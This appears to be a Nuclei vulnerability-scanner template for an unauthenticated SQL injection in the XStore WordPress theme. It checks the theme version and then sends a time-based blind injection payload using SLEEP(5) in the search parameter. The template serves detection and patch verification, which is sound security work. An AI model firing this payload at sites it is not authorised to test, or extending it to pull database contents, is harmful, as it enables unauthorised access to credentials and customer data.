XStore Theme < 9.7.3 - SQL Injection

id: CVE-2026-3326

info:
  name: XStore Theme < 9.7.3 - SQL Injection
  author: VixianSchool
  severity: high
  description: |
    The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
  impact: |
    Unauthenticated attackers can extract arbitrary data from the WordPress database, including credentials, session tokens, and WooCommerce customer records.
  remediation: |
    Update XStore theme to version 9.7.3 or later.
  reference:
    - https://wpscan.com/vulnerability/2c5bdb17-8b12-45b5-878b-627056dc8956/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3326
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-3326
    epss-score: 0.01866
    epss-percentile: 0.77099
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2026,wordpress,wp,wp-theme,sqli,xstore

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/themes/xstore/style.css"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "XStore"
        internal: true

      - type: dsl
        dsl:
          - 'compare_versions(version, "< 9.7.3")'
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'Version:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /?s=test%27)%20AND%20(SELECT%208039%20FROM%20(SELECT(SLEEP(5)))HQgJ)%20AND%20(%27hyMm%27=%27hyMm&et_search=true&post_type=product HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 5'
          - 'status_code != 404'
        condition: and
# digest: 4a0a004730450220562e0d629cabadf2be8cd5b0f6dc8651fea5d743fceb271978742538735ac5fc022100b8158f280379f60a770d32ca9d4d5a1b358ed2efec77a87facf169df6370f1ed:922c64590222798bb761d5b6d8e72950